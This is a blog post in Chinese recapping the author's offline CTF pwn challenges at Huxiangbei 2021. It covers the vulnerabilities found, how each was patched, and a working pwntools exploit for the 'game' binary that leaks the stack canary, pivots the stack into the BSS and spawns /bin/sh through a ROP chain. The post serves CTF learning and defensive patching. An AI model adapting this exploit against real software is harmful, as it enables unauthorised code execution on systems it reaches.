湖湘杯2021线下pwn

第一次参加湖湘杯的线下,和很多基友们面基了happy 还认识了新的朋友,虽然打的一般才23名,全靠我一个pwn在修题,因为web现在真的太内卷了。。。离线环境下做渗透测试(⊙o⊙)…?????

pwn可惜的是栈迁移的题我做了没完全做,当时急了没去GDB看BSS段的权限,但凡我偏移个0x几百排名还能上去下岂可修~

自取

链接:https://pan.baidu.com/s/1moT3lMoUO2_iW7uJP-96wQ
提取码:2wks
–来自百度网盘超级会员V3的分享

many_cats

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int sub_1780()
{
unsigned int v0; // eax
__int64 v1; // rbx
void *v2; // rdi

puts("OK,id?");
putc(58, stdout);
v0 = sub_13E0();
if ( v0 > 1 || (v1 = (int)v0, (v2 = (void *)qword_40D0[v0]) == 0LL) )
{
puts("ERROR:Illegal index!");
exit(0);
}
free(v2);
qword_40D0[v1] = 0LL;
return puts("All done!");
}

存在UAF qword_40D0[v0]没有置零 直接patch,如下

1
2
.text:00000000000017D7                 call    _free
.text:00000000000017DC mov qword ptr [rdi], 0

game

出题人,搁这写小作文,你真的觉得自己很幽默是不是啊????

2个漏洞,一个是scanf %s无限输入但是是在bss段,还有就是read存在溢出0x10,综上直接栈迁移梭哈的,可是有坑bss段的权限问题

修补方式

有2种方法

1.把system的调用改成别的函数

1
2
3
4
int sub_401256()
{
return system("ls");
}

我换成了puts通过检测,其实这样看的话那出题人的exp和我们选手是比较不一样的,我赛后去问了别人的大多都是用plt直接传参栈迁移执行,如此这个后门p用没有但是他调用了。。。。

2.把scanf的%s限制数量

3.其实我们都认为真正可以实现漏洞利用的在read的栈迁移,但是他这个check不承认这个修补方式,当我没说。。。

快速定位漏洞点

这个题目纯中文,你ida就算换编码格式一个个换都可以换死你,既然是栈题,直接怼着输入函数按x

发现scanf有一堆的调用,但是read就2个,一个read后直接puts了自己,一个是有栈溢出

scanf的%s利用就慢慢的去从main看见的

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
pop_rdi_ret = 0x402bb3
name_addr = 0x4080C0
leave_ret = 0x401337
ret = 0x40101a
system_plt = 0x401265
#context.log_level='debug'
def pwn():
r=process("./game")
#r=remote("172.16.9.41","8008")
r.recvuntil("1.开始游戏\n")
r.sendline('1')
r.recvuntil("请输入你的名字:\n")
pa=b'\x00' * 0x800 + b'/bin/sh\x00' + p64(pop_rdi_ret)+ p64(name_addr + 0x800) + p64(system_plt)
r.sendline(pa)
#raw_input()
r.sendline('2')
r.recv()
r.sendline('2')
r.recv()
r.sendline("")
r.recv()
r.sendline("")
r.recv()
r.sendline("")
r.recv()
r.sendline('2')
for i in range(10):
r.recv()
r.sendline("")
r.recv()
r.sendline("1")
for i in range(4):
r.recv()
r.sendline("")
r.recv()
r.sendline("20161226")
for i in range(3):
r.recv()
r.sendline("")
r.recv()
r.send("a"*0x18+'\n')
r.recvuntil("a\n")
canary=u64(r.recv(7)+b'\x00')
canary_real=(canary)*0x100
print(hex(canary_real))
print(hex(canary))
#raw_input()
#gdb.attach(r)
for i in range(5):
r.recv()
r.sendline("")
r.recv()
r.sendline("3")
for i in range(11):
r.recv()
r.sendline("")
r.recv()
r.sendline("3")
for i in range(18):
r.recv()
r.sendline("")
pay = b'a' * 0x18 + p64(canary_real) + p64(name_addr + 0x800) + p64(leave_ret)
#gdb.attach(r)
r.send(pay)
#print(r.recv())
r.interactive()
pwn()

Many_furries

大佬说漏洞在clnt_create,有栈溢出。。。虽然是个glibc的库函数,但是出题人把canary弄没了就可以打了,我赛后查资料都找不到这个玩意干嘛的。。。直接摆烂,怎么修?直接把/bin/sh换成unix后门执行失败算修好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int sub_1410()
{
CLIENT *v0; // rbp

if ( !ptr || !*(_QWORD *)ptr )
{
puts("ERROR 404:furry not found!");
_exit(-1);
}
v0 = clnt_create(*(const char **)ptr, 0LL, 0LL, "unix");
if ( v0 )
{
puts("BackDoor Enter!");
v0->cl_ops->cl_destroy(v0);
system("/bin/sh");
}
else
{
puts("Offline!Publish fail!");
if ( !dword_404C )
{
dword_404C = 1;
__printf_chk(1LL, "LOG location:%p\n", sub_1410);
}
}
free(*(void **)ptr);
free(ptr);
ptr = 0LL;
return puts("All done!");
}

qarch

题目的二进制程序是可以执行一段代码的看上去是吧,没细看因为题目要求修复so文件。。。我????

我是废物,赛后问人,大佬说是存在add的时候没有限制,导致了堆被申请空最后申请到栈去利用的情况,修复就是

限制申请大小(⊙o⊙)…

  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2015-2022 H.greed
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信